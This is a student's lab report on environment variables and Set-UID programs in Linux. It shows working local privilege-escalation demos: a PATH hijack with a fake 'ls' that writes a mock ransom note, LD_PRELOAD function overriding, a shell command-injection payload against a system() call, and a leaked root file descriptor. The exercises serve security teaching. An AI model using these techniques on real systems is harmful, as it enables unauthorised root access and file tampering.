Task 1: Manipulating Environment Variables

- Using *env*:

```
env
```

```
SHELL=/bin/bash
NVM_RC_VERSION=
WSL_DISTRO_NAME=Ubuntu-20.04
NAME=BOB
PWD=/mnt/c/Users/bogda/Desktop/University/Year_III/SEM_1/CS - Computer Security/LAB/Lab 9/Task 1
LOGNAME=thotu
HOME=/home/thotu
LANG=C.UTF-8
WSL_INTEROP=/run/WSL/8_interop
. . .
```

- Using *printenv* & *env* for particular environment variables:

```
env | grep "^PWD="
printenv PWD
```

```
PWD=/mnt/c/Users/bogda/Desktop/University/Year_III/SEM_1/CS - Computer Security/LAB/Lab 9/Task 1
/mnt/c/Users/bogda/Desktop/University/Year_III/SEM_1/CS - Computer Security/LAB/Lab 9/Task 1
```

- Using *export* & *unset*:

```
export MY_VAR="I am tired"
printenv MY_VAR || echo "MY_VAR is not set"

unset MY_VAR
printenv MY_VAR || echo "MY_VAR is not set"
```

```
I am tired
MY_VAR is not set
```

Task 2: Passing Environment Variables from Parent Process to Child Process

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern char **environ;

void printenv() {
    for (int i = 0; environ[i] != NULL; i++) {
        printf("%s\n", environ[i]);
    }
}

int main(int argc, char *argv[]) {
    pid_t childPid;

    switch (childPid = fork()) {
        case 0: /* child process */
            if (strcmp(argv[1], "-c") == 0)  {
                printenv();
            }
            exit(0);
        default: /* parent process */
            if (strcmp(argv[1], "-p") == 0) {
                printenv();
            }
            exit(0);
    }
}
```

- Compile:

```
gcc printenv.c -o printenv
```

- Save outputs to files:

```
./printenv -c > out_c.txt
./printenv -p > out_p.txt
```

- Compare the files:

```
diff out_c.txt out_p.txt
```

```

```

(empty)

No differences found -> environment variables are inherited by the child process

Task 3: Environment Variables and execve()

```
#include <unistd.h>
#include <string.h>

extern char** environ;

int main(int argc, char *argv[]) {
    char *args[2];

    args[0] = "/usr/bin/env";
    args[1] = NULL;

    if (strcmp(argv[1], "-e") == 0) {
        execve(args[0], args, environ);
    } else {
        execve(args[0], args, NULL);
    }

    return 0;
}
```

- Compile:

```
gcc env.c -o env
```

- Save outputs to files:

```
./env > out_null.txt
./env -e > out_env.txt
```

- Compare the files:

```
diff out_null.txt out_env.txt
```

```
<
---
> SHELL=/bin/bash
> NVM_RC_VERSION=
> WSL_DISTRO_NAME=Ubuntu-20.04
> NAME=BOB
> PWD=/mnt/c/Users/bogda/Desktop/University/Year_III/SEM_1/CS - Computer Security/LAB/Lab 9/Task 3
> LOGNAME=thotu
> HOME=/home/thotu
> LANG=C.UTF-8
> WSL_INTEROP=/run/WSL/8_interop
. . .
```

Execve() expects to be given environment variables as the 3rd parameter, since they are not automatically inherited by the new program.
This can be seen as passing *NULL* as the 3rd argument yields no output. Otherwise, passing the environment variables with *environ* outputs them.

Task 4: Environment Variables and system()

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    system("/usr/bin/env");

    return 0 ;
}
```

- Compile:

```
gcc system.c -o system
```

- Run:

```
./system
```

```
LESSOPEN=| /usr/bin/lesspipe %s
USER=thotu
SHLVL=2
HOME=/home/thotu
OLDPWD=/mnt/c/Users/bogda/Desktop/University/Year_III/SEM_1/CS -
Computer Security/LAB/Lab 9
WSL_DISTRO_NAME=Ubuntu-20.04
NVM_DIR=/home/thotu/.nvm
LOGNAME=thotu
NAME=BOB
WSL_INTEROP=/run/WSL/8_interop
_=./system
TERM=xterm-256color
. . .
```

System() indeed passes the environment variables from the calling process to the new program.

Task 5: Environment Variable and Set-UID Programs

```c
#include <stdio.h>
#include <stdlib.h>

extern char** environ;

int main() {
    for (int i = 0; environ[i] != NULL; i++) {
        printf("%s\n", environ[i]);
    }
    return 0;
}
```

- Compile:

```
gcc env.c -o env
```

- Make Set-UID root program:

```
sudo chown root env
sudo chmod 4755 env
```

- Export variables:

```
# export PATH=... (PATH already exists)
export LD_LIBRARY_PATH=/usr/local/lib
export MY_VAR=sleepy
```

- Compare ./env & env:

```
env > out_env.txt
./env > out_cenv.txt

diff out_env.txt out_cenv.txt
```

```
50d49
< LD_LIBRARY_PATH=/usr/local/lib
60c59
< _=/usr/bin/env
---
> _=./env
```

PATH and MY_VAR were passed, but LD_LIBRARY_PATH wasn’t.

Task 6: The PATH Environment Variable and Set-UID Programs

```c
#include <stdlib.h>

int main() {
    system("ls");

    return 0;
}
```

- Compile & make Set-UID root program:

```
gcc prog.c -o prog
sudo chown root prog
sudo chmod 4755 prog
```

From what I understand, by using a relative path command, the system checks for the command’s existence in the PATH entries in order until it finds the first match and then runs the command.

We can create our own malicious *ls* executable file (script file, compiled c code...) and add its directory to the front of the PATH.

```
export PATH=$PWD:$PATH
```

ls.c

```c
#include <stdio.h>

int main() {
    printf("Wrong ls\n");

    FILE* file = fopen("important_file.txt", "w");

    if (file == NULL) {
        printf("Error opening file\n");
        return 1;
    }

    fprintf(file, "Please pay 10 BTC for your files\n");

    return 0;
}
```

- Compile to ls:

```
gcc ls.c -o ls
```

- Run *./ls*:

```
./ls
```

```
Wrong ls
Error opening file
```

- Run *./prog*:

```
./prog
```

```
Wrong ls
```

- Reading *important_file.txt*:

```
cat important_file.txt
```

```
Please pay 10 BTC for your files
```

We managed to run a malicious ls command with root privileges. We know we had root privileges due to the *important_file.txt* being writeable only by its owner, root.

```
-rw-r--r--  1 root  root     33 ian  7 13:37 important_file.txt
```

Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

```c
// sleepy.c
#include <stdio.h>

void sleep(int seconds) {
    printf("I am sleepless... :(\n");
}
```

- Compile:

```
gcc -fPIC -g -c sleepy.c
gcc -shared -o libsleepy.so.1.0.1 sleepy.o -lc
```

- Export *LD_PRELOAD*:

```
export LD_PRELOAD=./libsleepy.so.1.0.1
```

```c
// prog.c
#include <unistd.h>

int main() {
    sleep(2);

    return 0;
}
```

- Compile:

```
gcc prog.c -o prog
```

1. Regular program > Run:

```
./prog
```

```
I am sleepless... :(
```

As expected, our sleep was called.

2. Set-UID root program > Run:

```
sudo chown root prog
sudo chmod 4755 prog
./prog
```

(sleeps 2 seconds)

The Set-UID root program does not inherit the LD_* variables

3. Set-UID root program > Export *LD_PRELOAD* in root > Run:

```
sudo -s
# export LD_PRELOAD=./libsleepy.so.1.0.1
# ./prog
```

```
I am sleepless... :(
```

Exporting LD_PRELOAD then running as superuser uses the newly exported variable and uses our sleep.

```
# exit
./prog
```

(sleeps 2 seconds)

Running as user ignores the changes to the superuser environment variables and acts like 2.

4. Set-UID user1 program > Export *LD_PRELOAD* in user1 > Run:

```
sudo chown gion prog
sudo chmod 4755 prog
export LD_PRELOAD=./libsleepy.so.1.0.1
```

```
ERROR: ld.so: object './libsleepy.so.1.0.1~' from LD_PRELOAD
cannot be preloaded (cannot open shared object file): ignored.
```

Task 8: Invoking External Programs Using system() vs execve()

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *v[3];
    char *command;

    if (argc < 2) {
        printf("Please type a file name.\n");
        return 1;
    }

    v[0] = "/bin/cat";
    v[1] = argv[1];
    v[2] = NULL;

    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);

    system(command);
    // execve(v[0], v, NULL);

    return 0;
}
```

- Compile & make Set-UID root program:

```
gcc catall.c -o catall
sudo chown root catall
sudo chmod 4755 catall
```

- Run with exploit (system):

```
./catall "important_file.txt; echo REDACTED > important_file.txt"
```

```
Please pay 10 BTC for your files
```

- Read *important_file*:

```
sudo cat important_file.txt
```

```
REDACTED
```

- Run with exploit (execve):

```
./catall "important_file.txt; echo WOW"
```

```
/bin/cat: 'important_file.txt; echo WOW': No such file or directory
```

Since execve() takes an array of arguments as parameter, it treats the string ‘important_file.txt; echo WOW’ as a single argument, the file name and trying to use the cat command on it as:

```
cat "important_file.txt; echo WOW"
```

Erroring because it can’t find a file named ‘important_file; echo WOW’.

System(), on the other hand, accepts only a string, that, in this case, can be exploited, since its creation was not made with \" enclosing the 1st argument. The command becomes:

```
cat important_file.txt; echo WOW
```

Executing both commands: ‘cat important_file.txt’ and ‘echo WOW’.

Task 9: Capability Leaking

```
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main() {
    int fd;
    char *v[2];

    fd = open("important_file.txt", O_RDWR | O_APPEND);

    if (fd == -1) {
        printf("Cannot open file\n");
        exit(0);
    }

    printf("fd is %d\n", fd);

    setuid(getuid());

    v[0] = "/bin/sh";
    v[1] = NULL;
    execve(v[0], v, NULL);
}
```

- Compile & make Set-UID root program:

```
gcc cap_leak.c -o cap_leak
sudo chown root cap_leak
sudo chmod 4755 cap_leak
```

Since the file was opened with root privileges and was never closed in the code, we can use its file descriptor to modify it as a user.

```
./cap_leak
```

```
$ echo "Damn" >& 3
```

- Reading *important_file.txt*:

```
cat important_file.txt
```

```
REDACTED
Damn
```